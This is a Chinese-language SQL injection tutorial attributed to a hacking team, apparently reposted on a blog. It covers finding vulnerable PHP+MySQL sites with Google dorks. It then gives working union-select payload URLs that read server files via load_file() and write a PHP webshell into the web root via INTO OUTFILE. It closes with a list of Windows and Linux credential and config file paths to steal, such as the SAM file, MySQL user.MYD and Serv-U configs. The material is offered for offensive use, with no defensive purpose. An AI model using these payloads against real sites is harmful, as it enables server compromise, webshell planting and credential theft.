PHPMySQL 渗透笔记

渗透PHP+MYSQL站点

                                                            TitanRain.Security.Team 
                                              
                                              教程仅用于群内成员技术交流,请勿用于非法破坏国内站点。
                                             
                                                            
                                                              
                                                                By   b14ckb0y
                                                              
                                                             
                                                               QQ/MAIL:it7@9.cn           
                                                          
                                                          
                                                             若有疑问请到群内交流

大家看操作,不多打字.

1)如何快速寻找站点注入漏洞?
2)PHP+MYSQL数据库下快速寻找WEB站点路径?
3)MYSQL LOAD FILE()下读取文件?
3)MYSQL INTO OUTFILE下写入PHPSHELL?

简单介绍Mysql注入中用到的一些函数的作用,利用它们可以判断当前用户权限(Root为最高,相当于MSSQL中的SA)、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

1:system_user() 系统用户名
2:user() 用户名
3:current_user 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本
7:load_file() MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统 Windows Server 2003,

1)如何快速寻找注入漏洞?

啊D+GOOGLE 输入:site:123.com inurl:php?

2)PHP+MYSQL数据库下快速寻找WEB站点路径?

查找:WEB路径技巧:

GOOGLE 输入 site:123.com warning: 通过GOOGLE 查找站点数据库出错缓存.

3)MYSQL LOAD FILE()下读取文件?

※load_file()函数的应用。

and (select count() from mysql.user)>0/ 如果结果返回正常,说明具有读写权限。

使用时先将要读取的路径转换为16进制或10进制再替换到前面返回的字段
例如替换的到字段4 :

http://www.123.com/123.php?id=123 union select 1,2,3,load_file(c:\boot.ini),5,6,7,8,9,10,7/*load_file(c:\boot.ini) 这里的写法是错误的,因为没有将路径转换。

下面的写法才是正确的

转成16进制
http://www.123.com/123.php?id=123 union select 1,2,3,load_file(0x633A5C626F6F742E696E69),5,6,7,8,9,10,7/*

或10进制

http://www.123.com/123.php?id=123 union select 1,2,3,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),5,6,7,8,9,10,7/*

说明:使用load_file()函数读取时,不能直接这样执行 load_file(c:\boot.ini) ,如果这样执行是无法回显,所以只能把路径转为16进制,直接提交数据库或把路径转为10进制,用char()函数还原回ASCII。
例如:
将c:\boot.ini,转换为16进制就是:“0x633A5C626F6F742E696E69”,使用就是将 load_file(0x633A5C626F6F742E696E69)替换到前面返回的字段。就能读取出c:\boot.ini的内容(当然前提是系统在C盘下)
将c:\boot.ini转换为10进制是:“99 58 92 98 111 111 116 46 105 110 105”。需要使用char()来转换,转换前在记事本里把这段10进制代码之间的空格用“ ,”替换(注意英文状态下的逗号), 即:load_file(char(99,58,92,98,111,111,116,46,105,110,105))。注意不要少了扩号。

3)MYSQL INTO OUTFILE下写入PHPSHELL?

※into outfile的高级应用

要使用into outfile将一句话代码写到web目录取得WEBSHELL
需要满足3大先天条件
1.知道物理路径(into outfile ‘物理路径’) 这样才能写对目录

2.能够使用union (也就是说需要MYSQL3以上的版本)

3.对方没有对’进行过滤(因为outfile 后面的 ‘’ 不可以用其他函数代替转换)

4就是MYSQL 用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)

5.windows系统下一般都有读写权限,LINUX/UNIX下一般都是rwxr-xr-x 也就是说组跟其他用户都没有权限写入操作。

但环境满足以上条件那么我们可以写一句话代码进去。
例如:
http://www.123.com/123.php?id=123 union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*

还有一个办法是假如网站可以上传图片,可以将木马改成图片的格式上传,找出图片的绝对路径在通过into outfile导出为PHP文件。

代码:
http://www.123.com/123.php?id=123 union select 1,2,3,load_file(d:\web\logo123.jpg),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*

d:\web\90team.php 是网站绝对路径。

附:

收集的一些路径:

WINDOWS下:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看 WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0x2F6574632F706173737764),0x3c,0x20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成"空格" 返回的是网页.而无法查看到代码.
可以转到特殊字符那里自己看

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值